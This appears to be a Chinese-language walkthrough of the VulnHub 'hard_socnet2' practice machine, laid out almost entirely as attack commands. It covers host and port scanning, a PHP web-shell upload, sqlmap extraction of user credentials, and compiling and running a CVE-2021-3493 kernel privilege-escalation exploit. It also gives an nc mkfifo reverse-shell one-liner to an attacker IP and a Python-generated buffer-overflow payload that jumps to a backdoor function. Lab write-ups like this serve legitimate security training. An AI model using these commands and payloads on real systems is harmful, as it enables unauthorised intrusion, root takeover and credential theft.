靶机地址: https://download.vulnhub.com/boredhackerblog/hard_socnet2.ova
难度等级: 高
打靶目标: 取得 root 权限
参考链接:
xmlrpc --- XMLRPC 服务端与客户端模块 — Python 3.11.3 文档
涉及攻击方法:
主机发现
端口扫描
SQL注入
文件上传
CVE-2021-3493
XMLRPC
逆向工程
动态调试
缓冲区溢出
漏洞利用代码编写
一、主机发现
扫面本地所有IP
arp-scan -l
二、端口扫描
nmap -p22,80,8000 -sV 172.20.10.4
端口访问
不支持GET方法
用burp suit更改请求方法
首先使用OPTIONS方法,依旧不支持;POST、PUT、DELETE等均不支持。
无果。
访问80端口
发现有注册页面,进行注册
密码:123456
三、文件上传
后台发现上传头像功能,上传shell.php,连接成功
www-data权限
四、SQL注入
发现网站存在sql注入
POST注入
sqlmap -r 1.txt -p query
-r 指定请求包
-p 指定参数
查看数据库名
sqlmap -r 1.txt -p query --dbs
查看表名
sqlmap -r 1.txt -p query -D socialnetwork --tables
查看列和字段
sqlmap -r 1.txt -p query -D socialnetwork -T users --columns
获取具体字段相关信息
sqlmap -r 1.txt -p query -D socialnetwork -T users -C user_password,user_email --dump
需要用sqlmap的字典进行暴力破解用户名密码
通过sql注入获取的账号密码登录管理员后台
五、CVE-2021-3493
通过蚁剑尝试提权
1、查看内核版本
lsb_release -a
利用CVE-2021-3493内核漏洞提权
将exp利用蚁剑上传至目标服务器的当前目录
对exp进行编译
gcc -o exp exploit.c
给exp赋予执行权限
chmod +x exp
执行exp
利用nc之mkfifo反弹shell提权
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 172.20.10.5 3333 >/tmp/f
shell升级之交互式shell
python -c "import pty; pty.spawn('/bin/bash')"
再次执行exp
此靶机为2020年发出,此提权exp为2021的exp
按照2020年的思路再次提权
查看用户
进入socnet用户家目录
查看文件
发现monitor.py文件(在web已知此文件正在运行)
查看进程发现已经运行
ps aux | grep monitor.py
查看源码
六、缓冲区溢出
gdb对程序进行调试
系统主程序执行vuln(vuln函数有漏洞)函数,vuln加载backdoor函数,backdoor调用系统suid和system
gdb -q .\程序名 启动程序
r 让程序run起来
pattern create 100 生成100个特殊字符
pattern search 查询偏移的字符 #(偏移到EIP)
disas main 加载系统的主程序 #@plt 内建函数
break 0*0x08048676 下断点
del 1 删除第一个断点
s 向下执行,每次只执行一个
info func 查看函数信息
disas 函数名 查看某个函数的信息
#数据在CUP是倒着存储的
python -c "import struct; print('aa\n1\n1\n1\n' + 'A'*62 + struct.pack('I', 0x08048676))" > payload #生成payload
#在对方服务器生成paylaod,0x08048676是backdoor的起始编号
gdb -q .\程序名 启动程序
r < payload 让程序运行payload
cat payload - | ./add_record 让paylaod内容给add_record运行